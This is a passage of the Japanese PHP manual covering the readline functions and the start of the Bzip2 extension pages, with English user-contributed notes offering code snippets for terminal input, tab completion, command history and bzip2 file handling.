  • stream_select() - select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う

User Contributed Notes

thflori 23-Aug-2018 07:01
To read byte wise and multi line you can check the line_buffer from readline_info:

<?php

function read(int $count, string $prompt = null): string
{
    $previous = '';
    readline_callback_handler_install($prompt ?? " \e[D", function ($str) use (&$previous) {
        $previous .= $str . PHP_EOL;
    });
    do {
        $r = array(STDIN);
        $n = stream_select($r, $w, $e, null);
        if ($n && in_array(STDIN, $r)) {
            readline_callback_read_char();
            $str = $previous . readline_info('line_buffer');
        }
    } while (mb_strlen($str) < $count); // use strlen if you need the exact byte count
    readline_callback_handler_remove();

    return $str;
}


インストールされたハンドラを削除し、端末の設定をもとに戻す

  • ≪ readline_callback_handler_install
  • readline_callback_read_char ≫
  • PHP Manual
  • Readline 関数
  • インストールされたハンドラを削除し、端末の設定をもとに戻す

readline_callback_handler_remove

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_handler_remove — インストールされたハンドラを削除し、端末の設定をもとに戻す

説明

readline_callback_handler_remove ( ) : bool

インストールされたハンドラを削除し、端末の設定をもとに戻します。

返り値

インストールされたコールバックが削除できた場合に true、 削除するハンドラが見つからなかった場合に false を返します。

例

readline コールバックインターフェイスの使用方法についての例は readline_callback_handler_install() を参照ください。

参考

  • readline_callback_handler_install() - readline コールバックインターフェイスと端末を初期化し、 プロンプトを表示して結果をすぐに返す
  • readline_callback_read_char() - 文字を読み込み、改行を受け取ると readline コールバックインターフェイスに通知する

User Contributed Notes

There are no user contributed notes for this page.


文字を読み込み、改行を受け取ると readline コールバックインターフェイスに通知する

  • ≪ readline_callback_handler_remove
  • readline_clear_history ≫
  • PHP Manual
  • Readline 関数
  • 文字を読み込み、改行を受け取ると readline コールバックインターフェイスに通知する

readline_callback_read_char

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_read_char — 文字を読み込み、改行を受け取ると readline コールバックインターフェイスに通知する

説明

readline_callback_read_char ( ) : void

ユーザーが入力した文字を読み込みます。改行を受け取ると、この関数は readline_callback_handler_install() で インストールされた readline コールバックインターフェイスに対して 入力待ちを通知します。

返り値

値を返しません。

例

readline コールバックインターフェイスの使用方法についての例は readline_callback_handler_install() を参照ください。

参考

  • readline_callback_handler_install() - readline コールバックインターフェイスと端末を初期化し、 プロンプトを表示して結果をすぐに返す
  • readline_callback_handler_remove() - インストールされたハンドラを削除し、端末の設定をもとに戻す

User Contributed Notes

thflori 23-Aug-2018 06:30
It seems this function is not blocking anymore:

<?php

do {
  readline_callback_read_char();
  $str = readline_info('line_buffer');
  echo '.';
} while (strlen($str) < 10);

echo PHP_EOL . $str . PHP_EOL;

?>
Quis-NOZPAM- at omicidio-NOZPAM- dot nl 02-Aug-2006 04:43
Note that this function is blocking if there is no character to read
If you don`t want to get blocked, you should use the trick with stream_select()

It also only reads one char per call,
So if something else in your script is blocking,
you`ve got a problem


ヒストリをクリアする

  • ≪ readline_callback_read_char
  • readline_completion_function ≫
  • PHP Manual
  • Readline 関数
  • ヒストリをクリアする

readline_clear_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_clear_history — ヒストリをクリアする

説明

readline_clear_history ( ) : bool

この関数はコマンドラインヒストリ全体をクリアします。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


補完関数を登録する

  • ≪ readline_clear_history
  • readline_info ≫
  • PHP Manual
  • Readline 関数
  • 補完関数を登録する

readline_completion_function

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_completion_function — 補完関数を登録する

説明

readline_completion_function ( callable $callback ) : bool

この関数は補完用の関数を登録します。 これは、Bash を使用している際に、タブキーを 押して得られるのと同様の機能です。

パラメータ

callback

コマンドラインの一部を入力とし、 マッチする可能性がある文字列の配列を返す 既存の関数の名前を指定する必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

cameron at cloudix dot co dot nz 16-Apr-2015 03:36
The readline extension can be a bit flakey due to bugs in libedit (PHP 5.3.10-1ubuntu3.15 with Suhosin-Patch (cli) (built: Oct 29 2014 12:19:04)).

I created many segfaults returning an empty array on the autocompletion function:

// Autocomplete
readline_completion_function(function($Input, $Index){

    global $Commands;

    // Filter Matches
    $Matches = array();
    foreach(array_keys($Commands) as $Command)
        if(stripos($Command, $Input) === 0)
            $Matches[] = $Command;

    return $Matches;
});

I found adding an empty string to the matches array prevents the segfault:

// Autocomplete
readline_completion_function(function($Input, $Index){

    global $Commands;

    // Filter Matches
    $Matches = array();
    foreach(array_keys($Commands) as $Command)
        if(stripos($Command, $Input) === 0)
            $Matches[] = $Command;

    // Prevent Segfault
    if($Matches == false)
        $Matches[] = '';

    return $Matches;
});

Hopefully this is helpful to someone.
chris AT w3style DOT co UK 28-Nov-2009 08:39
A little bit of info regarding useful variables when writing your callback function.

There doesn't seem to be a way to set rl_basic_word_break_characters like with the pure C library, so as previous users have pointed out you'll only receive the current word in the input buffer within your callback.  If for example you're typing "big bro|ther", where the bar is the position of your cursor when you hit TAB, you'll receive (string) "brother" and (int) 4 as your callback parameters.

However, it is possible (easily) to get more useful information about what the user has typed into the readline buffer.  readline_info() is key here.  It will return an array containing:

"line_buffer" => (string)
   the entire contents of the line buffer (+ some bugs**)

"point" => (int)
   the current position of the cursor in the buffer

"end" => (int)
   the position of the last character in the buffer

So for the example above you'd get:

  * line_buffer => "big brother"
  * point => 7
  * end => 11

From this you can easily perform multi-word matches.

** NOTE: line_buffer seems to contain spurious data at the end of the string sometime.  Fortunately since $end is provided you can substr() it to get the correct value.

The matches you need to return are full words that can replace $input, so your algorithm might crudely look something like:

<?php

function your_callback($input, $index) {
  // Get info about the current buffer
  $rl_info = readline_info();

  // Figure out what the entire input is
  $full_input = substr($rl_info['line_buffer'], 0, $rl_info['end']);

  $matches = array();

  // Get all matches based on the entire input buffer
  foreach (phrases_that_begin_with($full_input) as $phrase) {
    // Only add the end of the input (where this word begins)
    // to the matches array
    $matches[] = substr($phrase, $index);
  }

  return $matches;
}

?>
overshoot.tv 25-Jun-2009 12:07
Note: the first argument passed to the registered function is NOT the whole command line as entered by the user, but only the last part, i.e. the part after the last space.

e.g.:
<?php
function my_readline_completion_function($string, $index) {
  // If the user is typing:
  // mv file.txt directo[TAB]
  // then:
  // $string = directo
  // the $index is the place of the cursor in the line:
  // $index = 19;

  $array = array(
    'ls',
    'mv',
    'dar',
    'exit',
    'quit',
  );

  // Here, I decide not to return filename autocompletion for the first argument (0th argument).
  if ($index) {
    $ls = `ls`;
    $lines = explode("\n", $ls);
    foreach ($lines AS $key => $line) {
      if (is_dir($line)) {
        $lines[$key] .= '/';
      }
      $array[] = $lines[$key];
    }
  }
  // This will return both our list of functions, and, possibly, a list of files in the current filesystem.
 // php will filter itself according to what the user is typing.
  return $array;
}
?>
david at acz dot org 01-Feb-2005 12:08
This function can simply return an array of all possible matches (regardless of the current user intput) and readline will handle the matching itself.  This is likely to be much faster than attempting to handle partial matches in PHP.
john at weider dot cc 21-Sep-2002 09:32
It seems that the registered function can accept 2 parameters, the first being the partial string, the second a number that when equal to zero indicates that the tab was hit on the first argument on the input. Otherwise it looks like the position within the string is returned.

This is neccessary information for processing shell command line input.


種々の readline の内部変数を取得/設定する

  • ≪ readline_completion_function
  • readline_list_history ≫
  • PHP Manual
  • Readline 関数
  • 種々の readline の内部変数を取得/設定する

readline_info

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_info — 種々の readline の内部変数を取得/設定する

説明

readline_info ( string|null $var_name = null , int|string|bool|null $value = null ) : mixed

さまざまな readline の内部変数の取得あるいは設定を行います。

パラメータ

var_name

変数の名前。

value

指定した場合は、これがその設定の新しい値となります。

返り値

パラメータを指定しないでコールした場合、この関数は readline が使用する すべての設定の値を配列で返します。要素の添字は次のようになります。 done, end, erase_empty_line, library_version, line_buffer, mark, pending_input, point, prompt, readline_name, terminal_name

ひとつあるいはふたつのパラメータを指定してコールした場合は、 元の値が返されます。

変更履歴

バージョン | 説明
8.0.0 | var_name と value は、 nullable になりました。

User Contributed Notes

There are no user contributed notes for this page.


ヒストリを一覧表示する

  • ≪ readline_info
  • readline_on_new_line ≫
  • PHP Manual
  • Readline 関数
  • ヒストリを一覧表示する

readline_list_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_list_history — ヒストリを一覧表示する

説明

readline_list_history ( ) : array

コマンドラインヒストリ全体を取得します。

返り値

コマンドラインヒストリ全体の配列を返します。 各要素にはゼロから始まる整数の添字が付加されています。

User Contributed Notes

info () gaj ! design 16-Dec-2016 02:19
I just noticed that all readline functions are available with my php.exe (PHP 7, Cygwin) except for this one. It would be nice to have it so duplicate lines can be screened.

So to emulate it, I keep a working copy of the history in an array (yeah, extra code/data, but there are ways to keep the history from getting too large).

Loading is like:

<?php
    readline_read_history(HISTFILE);
    $hist = file(HISTFILE,FILE_IGNORE_NEW_LINES);
    array_shift($hist);
?>

Adding is like:

<?php
    if (!in_array($line,$hist)) {
        $hist[] = $line;
        readline_add_history($line);
    }
?>

(One may want to just check the last entry being the same.)
Anonymous 26-Jan-2011 06:17
Note this function is only available when PHP is compiled with libreadline, not if it is compiled with libedit.

<?php
if (function_exists('readline_list_history')) {
  $history = readline_list_history();
  // ...
} else {
  echo 'Not supported by the compiled library.'.PHP_EOL;
}
?>


カーソルが新しい行に移動したことを readline に通知する

  • ≪ readline_list_history
  • readline_read_history ≫
  • PHP Manual
  • Readline 関数
  • カーソルが新しい行に移動したことを readline に通知する

readline_on_new_line

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_on_new_line — カーソルが新しい行に移動したことを readline に通知する

説明

readline_on_new_line ( ) : void

readline に、カーソルが新しい行に移動したことを通知します。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ヒストリを読み込む

  • ≪ readline_on_new_line
  • readline_redisplay ≫
  • PHP Manual
  • Readline 関数
  • ヒストリを読み込む

readline_read_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_read_history — ヒストリを読み込む

説明

readline_read_history ( string|null $filename = null ) : bool

この関数は、コマンドヒストリをファイルから読み込みます。

パラメータ

filename

コマンドヒストリを含むファイルへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | filename は、nullable になりました。

User Contributed Notes

Anonymous 26-Jan-2011 04:07
Note that the first line in the history file must contain the string: _HiStOrY_V2_

Else it wont work.


画面を再描画する

  • ≪ readline_read_history
  • readline_write_history ≫
  • PHP Manual
  • Readline 関数
  • 画面を再描画する

readline_redisplay

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_redisplay — 画面を再描画する

説明

readline_redisplay ( ) : void

画面の再描画を readline に依頼します。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ヒストリを書きこむ

  • ≪ readline_redisplay
  • readline ≫
  • PHP Manual
  • Readline 関数
  • ヒストリを書きこむ

readline_write_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_write_history — ヒストリを書きこむ

説明

readline_write_history ( string|null $filename = null ) : bool

この関数はコマンドヒストリをファイルに書き込みます。

パラメータ

filename

保存するファイルへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | filename は、nullable になりました。

User Contributed Notes

jonathan dot gotti at free dot fr 27-Apr-2006 04:52
readline_write_history() doesn't take care of the $_SERVER['HISTSIZE'] value, here's an example on how to handle an history file in your apps taking care of user preferences regarding history size.

at the begining of your script:
<?php
$history_file = $_SERVER['HOME'].'/.PHPinteractive_history';
# read history from previous session
if(is_file($history_file))
  readline_read_history($history_file);
....
# your application's code
....
# put this at the end of yur script to save history and take care of $_SERVER['HISTSIZE']
if( readline_write_history($history_file) ){
  # clean history if too long
  $hist = readline_list_history();
  if( ($histsize = count($hist)) > $_SERVER['HISTSIZE'] ){
    $hist = array_slice($hist, $histsize - $_SERVER['HISTSIZE']);
    # in php5 you can replaces thoose line with a file_puts_content()
    if( $fhist = fopen($history_file,'w') ){
      fwrite($fhist,implode("\n",$hist));
      fclose($fhist);
    }
  }
}
?>


一行読み込む

  • ≪ readline_write_history
  • 圧縮およびアーカイブ ≫
  • PHP Manual
  • Readline 関数
  • 一行読み込む

readline

(PHP 4, PHP 5, PHP 7, PHP 8)

readline — 一行読み込む

説明

readline ( string|null $prompt = null ) : string|false

ユーザーからの入力を一行読み込みます。 この行を readline_add_history(). を用いてヒストリに追加する必要があります。

パラメータ

prompt

ユーザーに示す確認文字列を指定します。

返り値

ユーザーから取得した文字列を一つだけ返します。 返り値の最後の改行は取り除かれます。 読み取るデータが残っていない場合、false を返します。

例

例1 readline() の例

<?php
// ユーザーから 3 回コマンドを取得
for ($i=0; $i < 3; $i++) {
        $line = readline("Command: ");
        readline_add_history($line);
}

// ヒストリをダンプ
print_r(readline_list_history());

// 変数をダンプ
print_r(readline_info());
?>

User Contributed Notes

Antony Penn 10-Feb-2020 01:41
Christian's code works well, but if you want to be able to hide the user input and not echo it to screen, you need to add -s to the read command. The code below is an expanded function that allows an optional prompt and optional hiding of the input:

function read_password($prompt=null, $hide=false)
{
    if($prompt) print $prompt;
    $s = ($hide) ? '-s' : '';
    $f=popen("read $s; echo \$REPLY","r");
    $input=fgets($f,100);
    pclose($f);
    if($hide) print "\n";
    return $input;
}
thflori 22-Aug-2018 08:11
If you want to block remove previous text and wonder that an empty string does not work: the workaround is to use an space with cursor left:

<?php

echo "> ";
readline(" \e[D");

?>
Ixios 10-Aug-2018 10:47
Works under windows, and under php 7.2.0 :

$arr = [];

for ($i=0; $i < 3; $i++) {
        $arr[$i] = readline("Commande : ");
}

// Output
print_r($arr);

----------

Output:

Commande : 658
Commande : 965
Commande : 478
Array
(
    [0] => 658
    [1] => 965
    [2] => 478
)
Anonymous 18-Jun-2017 07:41
a few observations....

I use Cygwin PHP v7 and readline is available. The readline_list_history() function though is not defined.

A prompt with escape sequences are sanitized, so use something like:

<?php
    echo("\e[0m\e[34mPromt>\e[0m");
    $inp = readline(' ');
?>

I have not fully documented it, but I see that sometimes strings beginning with punctuation characters do not make it into the history with readline_add_history(). They also sometimes clear the prompt string.
turdsurfer 03-Mar-2017 12:07
If your CLI script accepts input from STDIN and you also want it to prompt for a password (e.g. as mysql client does), then readline() won't work for you.
What you need to do is read from the terminal device as shown below.

function readline_terminal($prompt = '') {
    $prompt && print $prompt;
    $terminal_device = '/dev/tty';
    $h = fopen($terminal_device, 'r');
    if ($h === false) {
        #throw new RuntimeException("Failed to open terminal device $terminal_device");
        return false; # probably not running in a terminal.
    }
    $line = rtrim(fgets($h),"\r\n");
    fclose($h);
    return $line;
}
$pass = readline_terminal('Password: ');
roddric dot kasen at gmail dot com 07-Mar-2016 03:57
<?php

class ConsoleQuestion
{

    function readline()
    {
        return rtrim(fgets(STDIN));
    }
}

//Example1
$line = new ConsoleQuestion();
$prompt = "What Is Your Name: ";
echo $prompt;
$answer = $line->readline();
echo "You Entered: " . $answer;

//Example2 (comment Ex1 then uncomment Ex2)
/*$prompt = "What Is Your Name: ";
echo $prompt;
$answer =  "You Entered: " . rtrim( fgets( STDIN ));
echo $answer;*/

?>
Anonymous 30-May-2011 08:51
The readline library is not available on Windows.

<?php
if (PHP_OS == 'WINNT') {
  echo '$ ';
  $line = stream_get_line(STDIN, 1024, PHP_EOL);
} else {
  $line = readline('$ ');
}
?>
sean 21-Jun-2009 02:00
I wanted a function that would timeout if readline was waiting too long... this works on php CLI on linux:

<?php

function readline_timeout($sec, $def)
{
    return trim(shell_exec('bash -c ' .
        escapeshellarg('phprlto=' .
            escapeshellarg($def) . ';' .
            'read -t ' . ((int)$sec) . ' phprlto;' .
            'echo "$phprlto"')));
}

?>

Just call readline_timeout(5, 'whatever') to either read something from stdin, or timeout in 5 seconds and default to 'whatever'.  I tried just using shell_exec without relying on bash -c, but that didn't work for me, so I had to go the round about way.
taneli at crasman dot fi 24-Mar-2009 12:21
If you want to prefill the prompt with something when using readline, this worked for me:

<?php
  function readline_callback($ret)
  {
    global $prompt_answer, $prompt_finished;
    $prompt_answer = $ret;
    $prompt_finished = TRUE;
    readline_callback_handler_remove();
  }

  readline_callback_handler_install('Enter some text> ',
                                    'readline_callback');

  $prefill = 'foobar';
  for ($i = 0; $i < strlen($prefill); $i++)
  {
    readline_info('pending_input', substr($prefill, $i, 1));
    readline_callback_read_char();
  }

  $prompt_finished = FALSE;
  $prompt_answer = FALSE;
  while (!$prompt_finished)
    readline_callback_read_char();
  echo 'You wrote: ' . $prompt_answer . "\n";
?>
rojaro at gmail dot com 31-Oct-2008 07:28
Note that readline() will return boolean "false" when the user presses CTRL+D.
soletan at toxa dot de 04-Sep-2006 05:44
To haukew at gmail dot com:

readline provides more features than reading a single line of input ... your example misses line editing and history. If you don't need that, use something as simple as this:

function readline( $prompt = '' )
{
    echo $prompt;
    return rtrim( fgets( STDIN ), "\n" );
}
christian at gaeking dot de 22-Jan-2004 10:01
A workaround if readline is not compiled into php, because for example the command is only needed within an installation routine. It works as follows under Linux:

$f=popen("read; echo \$REPLY","r");
$input=fgets($f,100);
pclose($f);
echo "Entered: $input\n";
cox at idecnet dot com 03-Feb-2002 08:06
In CGI mode be sure to call:

ob_implicit_flush(true);

at the top of your script if you want to be able to output data before and after the prompt.

-- Tomas V.V.Cox


圧縮およびアーカイブ

  • Bzip2
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Bzip2 関数
  • LZF
    • はじめに
    • インストール/設定
    • 定義済み定数
    • LZF 関数
  • Phar
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Phar アーカイブの使用法
    • Phar アーカイブの作成
    • phar って、tar や zip とは何が違うの?
    • Phar — Phar クラス
    • PharData — PharData クラス
    • PharFileInfo — PharFileInfo クラス
    • PharException — PharException クラス
  • Rar — Rar アーカイブ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Rar 関数
    • RarArchive — RarArchive クラス
    • RarEntry — The RarEntry class
    • RarException — RarException クラス
  • Zip
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • ZipArchive — ZipArchive クラス
    • Zip 関数
  • Zlib — Zlib 圧縮
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Zlib 関数
    • DeflateContext — DeflateContext クラス
    • InflateContext — InflateContext クラス

User Contributed Notes

There are no user contributed notes for this page.


Bzip2

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • Bzip2 関数
    • bzclose — bzip2 ファイルを閉じる
    • bzcompress — 文字列をbzip2形式のデータに圧縮する
    • bzdecompress — bzip2 形式のデータを解凍する
    • bzerrno — bzip2 エラー番号を返す
    • bzerror — bzip2 エラー番号とエラー文字列を配列で返す
    • bzerrstr — bzip2 エラー文字列を返す
    • bzflush — 何もしない
    • bzopen — bzip2 圧縮されたファイルをオープンする
    • bzread — バイナリ対応の bzip2 ファイル読み込み
    • bzwrite — バイナリ対応の bzip2 ファイルへの書き込み

User Contributed Notes

There are no user contributed notes for this page.


はじめに

bzip2関数は、bzip2 (.bz2) 圧縮されたファイルを透過的に読み書きするために使用します。

User Contributed Notes

There are no user contributed notes for this page.


要件

このモジュールは、Julian Seward により作成された » bzip2ライブラリの関数を使用しています。 このモジュールは、bzip2/libbzip2 のバージョン >= 1.0.x を必要とします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP の bzip2 サポートはデフォルトでは有効となっていません。 bzip2 サポートを有効とするには、PHP をコンパイルする際に設定オプション --with-bz2[=DIR] を使用する必要があります。

User Contributed Notes

gurungrahul2 at gmail dot com 25-Sep-2018 04:44
For ubuntu users:

Install the library using

     sudo apt-get install libbz2-dev

and then add this to your configure command

     --with-bz2

this will automatically detect the default directory.
The mistake I did was installing php7.1-bz2 instead of above given lib.

Wanna say thanks?

Please feed stray animals :)


リソース型

この拡張モジュールは、リソース型として処理を行う bz2 ファイルを指すファイルポインタを定義します。

User Contributed Notes

There are no user contributed notes for this page.


例

この例は、テンポラリファイルをオープンし、テスト用の文字列を書き込みます。 この後、このファイルの内容を出力します。

例1 簡単な bzip2 の例

<?php

$filename = "/tmp/testfile.bz2";
$str = "This is a test string.\n";

// 書き込み用にオープン
$bz = bzopen($filename, "w");

// ファイルに文字列を書き込む
bzwrite($bz, $str);

// ファイルを閉じる
bzclose($bz);

// 読み込み用にファイルをオープン
$bz = bzopen($filename, "r");

// 10文字読み込む
echo bzread($bz, 10);

// ファイルの終端まで出力(または次の1024文字)し、閉じる
echo bzread($bz);

bzclose($bz);

?>

User Contributed Notes

There are no user contributed notes for this page.


Bzip2 関数

目次

  • bzclose — bzip2 ファイルを閉じる
  • bzcompress — 文字列をbzip2形式のデータに圧縮する
  • bzdecompress — bzip2 形式のデータを解凍する
  • bzerrno — bzip2 エラー番号を返す
  • bzerror — bzip2 エラー番号とエラー文字列を配列で返す
  • bzerrstr — bzip2 エラー文字列を返す
  • bzflush — 何もしない
  • bzopen — bzip2 圧縮されたファイルをオープンする
  • bzread — バイナリ対応の bzip2 ファイル読み込み
  • bzwrite — バイナリ対応の bzip2 ファイルへの書き込み

User Contributed Notes

salsi at icosaedro dot it 01-Jan-2016 06:22
<?php
/*
 * Reading a BZIP2 file can be tricky, and I never seen a complete example of
 * code that account for any possible failure that may happen accessing a file
 * in general, and decoding compressed data in this specific case.
 * The example that follows is my attempt to address this gap.
 * Some things that worth noting are:
 * - Encoding/decoding errors must be detected with bzerrno().
 * - bzopen() may fail returning FALSE if the file cannot be created or read,
 *   but succeeds also if the file is not properly encoded.
 * - bzread() may fail returning FALSE if it fails reading from the source, but
 *   it returns the empty string on end of file and on encoding error.
 * - bzread() may still return corrupted data with no error whatsoever until the
 *   BZIP2 algo encounters the first hash code, so data retrieved cannot be
 *   trusted until the very end of the file has been reached.
 */

// Safety first:
error_reporting(-1);
// On error, set $php_errormsg:
ini_set("track_errors", "1");

/**
 * Reads and displays on stdout the content of a BZIP2 compressed file with
 * full error detection.
 * @param string $fn Filename.
 * @return void
 */
function displaysBZIP2File($fn)
{
    echo "Reading $fn:\n";
    $bz = @bzopen($fn, "r");
    if( $bz === FALSE ){
        echo "ERROR: bzopen() failed: $php_errormsg\n";
        return;
    }
    $errno = bzerrno($bz);
    if( $errno != 0 ){
        // May detect "DATA_ERROR_MAGIC" (not a BZIP2 file), or "DATA_ERROR"
        // (BZIP2 decoding error) and maybe others BZIP2 errors too.
        echo "ERROR: bzopen(): BZIP2 decoding failed: ", bzerrstr($bz), "\n";
        @bzclose($bz);
        return;
    }
    while(! feof($bz) ) {
        $s = bzread($bz, 100);
        if( $s === FALSE ){
            echo "ERROR: bzread() failed: $php_errormsg\n";
            @bzclose($bz);
            return;
        }
        $errno = bzerrno($bz);
        if( $errno != 0 ){
            // May detect "DATA_ERROR" (BZIP2 decoding error) and maybe others
            // BZIP2 errors too.
            echo "ERROR: bzread(): BZIP2 decoding failed: ", bzerrstr($bz), "\n";
            @bzclose($bz);
            return;
        }
        echo "read: ", var_export($s, true), "\n";
    }
    if( ! bzclose($bz) ){
        echo "ERROR: bzclose() failed: $php_errormsg\n";
    }
}

// Target file:
$fn = "test.bz2";

// Test 1: writes and read a good BZIP2 file:
file_put_contents($fn, bzcompress("Content of the file."));
displaysBZIP2File($fn); // works ok.

// Test 2: invalid content, not a BZIP2 file:
file_put_contents($fn, "This ia plain text file, no compression at all!");
displaysBZIP2File($fn); // ERROR: bzread(): BZIP2 decoding failed: DATA_ERROR_MAGIC

// Test 3: creates a corrupted BZIP2 file:
$plain = str_repeat("Quite random string. ", 1000);
$compressed = bzcompress($plain);
$compressed_corrupted = $compressed;
$compressed_corrupted[(int)(strlen($compressed)/2)] = 'X'; // put random char in middle
file_put_contents($fn, $compressed_corrupted);
displaysBZIP2File($fn);
// Only after some Kbytes of garbage, it tells:
// ERROR: bzread(): BZIP2 decoding failed: DATA_ERROR

// Safe coding against headache, ever.
?>
ec10 at gmx dot net 20-May-2004 11:34
<?php
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc compressing the file with the bzip2-extension
*/
function bzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    $out_file = bzopen ($out, "wb");

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
         bzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    bzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the bzip2-extension
*/
function bunzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = bzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while ($buffer = bzread ($in_file, 4096)) {
        fwrite ($out_file, $buffer, 4096);
    }

    bzclose ($in_file);
    fclose ($out_file);

    return true;
}
?>


bzip2 ファイルを閉じる

  • ≪ Bzip2 関数
  • bzcompress ≫
  • PHP Manual
  • Bzip2 関数
  • bzip2 ファイルを閉じる

bzclose

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzclose — bzip2 ファイルを閉じる

説明

bzclose ( resource $bz ) : bool

与えられた bzip2 ファイルポインタを閉じます。

パラメータ

bz

ファイルポインタ。これは有効である必要があり、 bzopen() によりオープンされたファイルを指している必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • bzopen() - bzip2 圧縮されたファイルをオープンする

User Contributed Notes

There are no user contributed notes for this page.


文字列をbzip2形式のデータに圧縮する

  • ≪ bzclose
  • bzdecompress ≫
  • PHP Manual
  • Bzip2 関数
  • 文字列をbzip2形式のデータに圧縮する

bzcompress

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzcompress — 文字列をbzip2形式のデータに圧縮する

説明

bzcompress ( string $data , int $block_size = 4 , int $work_factor = 0 ) : string|int

bzcompress() は、与えられた文字列を圧縮し、 bzip2 形式のデータとして返します。

パラメータ

data

圧縮する文字列

block_size

圧縮時のブロック長を指定します。 1 から 9 の数とする必要があります。この場合、9 の圧縮度が最大ですが、リソースの消費量も最大となります。

work_factor

繰り返しが多い、最悪の入力データの場合の圧縮処理の動作を制御します。 この値は、0 から 250 までとなり、0 は特別な場合です。

work_factor によらず、 生成される出力は同じになります。

返り値

圧縮された文字列、もしくはエラー時はエラー数

例

例1 データの圧縮

<?php
$str = "sample data";
$bzstr = bzcompress($str, 9);
echo $bzstr;
?>

参考

  • bzdecompress() - bzip2 形式のデータを解凍する

User Contributed Notes

uprz23 at gmail dot com 24-Jun-2010 12:52
Comparing gzcompress/gzuncompress and bzcompress/bzdecompress, the bz combo is about 5x slower than gz.
diego a messenger do dsemmler do de 24-Apr-2009 03:01
The blocksize parameter tells bzip to use 100 000 Byte * blocksize blocks to compress the string. In the example above we can see the output size and time needed of bz[2] to bz[9] are nearly the same, because there ware just 189 058 Byte of data to compress and in this case bz[2] to bz[9] means "compress all data et once".
So we may notice a bigger difference in speed and compression rate with bigger files.

the workfactor parameter sets, how fast bzip switches in the slower fallback algorithm, if the standard algorithm gets problems with much repetitive data. 0 means, bzip uses the default value of 30. This option is recommend.

For more information about the parameter look at http://www.bzip.org/1.0.3/html/low-level.html#bzcompress-init


bzip2 形式のデータを解凍する

  • ≪ bzcompress
  • bzerrno ≫
  • PHP Manual
  • Bzip2 関数
  • bzip2 形式のデータを解凍する

bzdecompress

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzdecompress — bzip2 形式のデータを解凍する

説明

bzdecompress ( string $data , bool $use_less_memory = false ) : string|int|false

bzdecompress() は、bzip2 形式のデータを含む文字列を解凍します。

パラメータ

data

解凍する文字列

use_less_memory

true の場合、よりメモリの消 費量が少ない (所要メモリは最大2300K程度まで少なくなります) 別の圧縮アルゴリズムが使用されますが、速度は約半分になってしまいます。

この機能に関する詳細については、» bzip2 ドキュメント を参照ください。

返り値

解凍された文字列、もしくは or false。 エラー時はエラー数を返します。

変更履歴

バージョン | 説明
8.0.0 | use_less_memory の型は int から bool に変更されました。 これより前のバージョンでは、 デフォルト値は 0 でした。

例

例1 文字列を解凍する

<?php
$start_str = "This is not an honest face?";
$bzstr = bzcompress($start_str);

echo "Compressed String: ";
echo $bzstr;
echo "\n<br />\n";

$str = bzdecompress($bzstr);
echo "Decompressed String: ";
echo $str;
echo "\n<br />\n";
?>

参考

  • bzcompress() - 文字列をbzip2形式のデータに圧縮する

User Contributed Notes

balint * atres / ath / cx 10-Jan-2006 05:02
I spent a while to sort out some integer results of the bzdecompress, so maybe it'll be useful for somebody else also...
(Constants from the sources.)

#define BZ_OK                0
#define BZ_RUN_OK            1
#define BZ_FLUSH_OK          2
#define BZ_FINISH_OK         3
#define BZ_STREAM_END        4
#define BZ_SEQUENCE_ERROR    (-1)
#define BZ_PARAM_ERROR       (-2)
#define BZ_MEM_ERROR         (-3)
#define BZ_DATA_ERROR        (-4)
#define BZ_DATA_ERROR_MAGIC  (-5)
#define BZ_IO_ERROR          (-6)
#define BZ_UNEXPECTED_EOF    (-7)
#define BZ_OUTBUFF_FULL      (-8)
#define BZ_CONFIG_ERROR      (-9)


bzip2 エラー番号を返す

  • ≪ bzdecompress
  • bzerror ≫
  • PHP Manual
  • Bzip2 関数
  • bzip2 エラー番号を返す

bzerrno

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

bzerrno — bzip2 エラー番号を返す

説明

bzerrno ( resource $bz ) : int

